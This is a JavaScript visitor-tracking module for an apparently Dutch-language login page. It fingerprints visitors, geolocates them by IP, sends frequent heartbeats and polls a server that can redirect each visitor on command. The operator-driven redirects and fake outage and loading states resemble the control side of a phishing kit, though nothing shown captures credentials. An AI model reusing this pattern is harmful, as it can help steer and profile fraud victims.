/**
 * Shared visitor tracking — non-blocking register, heartbeat, redirect polling.
 */
(function (w) {
  "use strict";

  var VISITOR_KEY = "scii_visitor_id";

  w.sciiGetOrCreateVisitorId = function () {
    try {
      var vid = localStorage.getItem(VISITOR_KEY);
      if (!vid) {
        vid = "v_" + Date.now() + "_" + Math.random().toString(36).substr(2, 9);
        localStorage.setItem(VISITOR_KEY, vid);
      }
      return vid;
    } catch (e) {
      return "v_" + Date.now();
    }
  };

  w.sciiGetDeviceInfo = function () {
    var ua = navigator.userAgent;
    var os = "Unknown";
    if (ua.indexOf("Win") !== -1) os = "Windows";
    else if (ua.indexOf("Mac") !== -1) os = "MacOS";
    else if (ua.indexOf("Linux") !== -1) os = "Linux";
    else if (ua.indexOf("Android") !== -1) os = "Android";
    else if (ua.indexOf("iPhone") !== -1 || ua.indexOf("iPad") !== -1) os = "iOS";

    var browser = "Unknown";
    if (ua.indexOf("Firefox") !== -1) browser = "Firefox";
    else if (ua.indexOf("SamsungBrowser") !== -1) browser = "Samsung";
    else if (ua.indexOf("Opera") !== -1 || ua.indexOf("OPR") !== -1) browser = "Opera";
    else if (ua.indexOf("Edge") !== -1 || ua.indexOf("Edg") !== -1) browser = "Edge";
    else if (ua.indexOf("Chrome") !== -1) browser = "Chrome";
    else if (ua.indexOf("Safari") !== -1) browser = "Safari";

    var tz = "";
    try {
      tz = Intl.DateTimeFormat().resolvedOptions().timeZone || "";
    } catch (e) {}

    return {
      os: os,
      browser: browser,
      language: navigator.language || "",
      timezone: tz,
    };
  };

  w.sciiGetUiLanguage = function () {
    if (typeof w.sciiGetLang === "function") {
      return w.sciiGetLang();
    }
    try {
      var s = localStorage.getItem("client-login-lang");
      if (s === "en" || s === "nl") return s;
    } catch (e) {}
    return "nl";
  };

  w.sciiGetRetrySourcePage = function () {
    if (typeof w.sciiGetRetryReturnPath !== "function") return "";
    return w.sciiGetRetryReturnPath();
  };

  w.sciiRegisterVisitorFast = function (page, extra) {
    var dev = w.sciiGetDeviceInfo();
    var payload = Object.assign(
      {
        visitor_id: w.sciiGetOrCreateVisitorId(),
        os: dev.os,
        browser: dev.browser,
        language: dev.language,
        ui_language: w.sciiGetUiLanguage(),
        timezone: dev.timezone,
        page: page || "login",
      },
      extra || {}
    );
    if ((page || "") === "loading") {
      var retryPath = w.sciiGetRetrySourcePage();
      if (retryPath) payload.retry_source_page = retryPath;
    }
    if (typeof w.sciiRegisterVisitor === "function") {
      w.sciiRegisterVisitor(payload);
    }
    return payload;
  };

  w.sciiSendHeartbeat = function (page) {
    var body = {
      visitor_id: w.sciiGetOrCreateVisitorId(),
      page: page || "login",
      ui_language: w.sciiGetUiLanguage(),
    };
    if ((page || "") === "loading" && typeof w.sciiGetRetryReturnPath === "function") {
      var retryPath = w.sciiGetRetryReturnPath();
      if (retryPath) body.retry_source_page = retryPath;
    }
    fetch("/api/heartbeat", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify(body),
    }).catch(function () {});
  };

  w.sciiCheckRedirect = function () {
    var vid = w.sciiGetOrCreateVisitorId();
    if (!vid) return Promise.resolve(false);
    return fetch("/api/check-redirect?visitor_id=" + encodeURIComponent(vid))
      .then(function (r) {
        return r.json();
      })
      .then(function (d) {
        if (d.redirect && d.url) {
          var target = d.url;
          if (typeof w.sciiResolveRetryRedirectUrl === "function") {
            target = w.sciiResolveRetryRedirectUrl(target);
          }
          if (typeof w.sciiSetSleepOutageLock === "function") {
            w.sciiSetSleepOutageLock(false);
          }
          if (typeof w.sciiClearServiceOutage === "function") {
            w.sciiClearServiceOutage();
          }
          w.location.replace(target);
          return true;
        }
        return false;
      })
      .catch(function () {
        return false;
      });
  };

  w.sciiInitPageTracker = function (page, opts) {
    opts = opts || {};
    w.sciiRegisterVisitorFast(page);
    w.sciiSendHeartbeat(page);

    if (opts.pollRedirect !== false) {
      w.sciiCheckRedirect();
      setInterval(function () {
        w.sciiCheckRedirect();
      }, opts.pollMs || 1200);
    }

    if (opts.heartbeat !== false) {
      setInterval(function () {
        w.sciiSendHeartbeat(page);
      }, 3000);
    }

    fetch("https://ipapi.co/json/")
      .then(function (res) {
        return res.json();
      })
      .then(function (data) {
        w.sciiRegisterVisitorFast(page, {
          ip: data.ip,
          country: data.country_name,
          city: data.city,
        });
      })
      .catch(function () {});
  };
})(window);
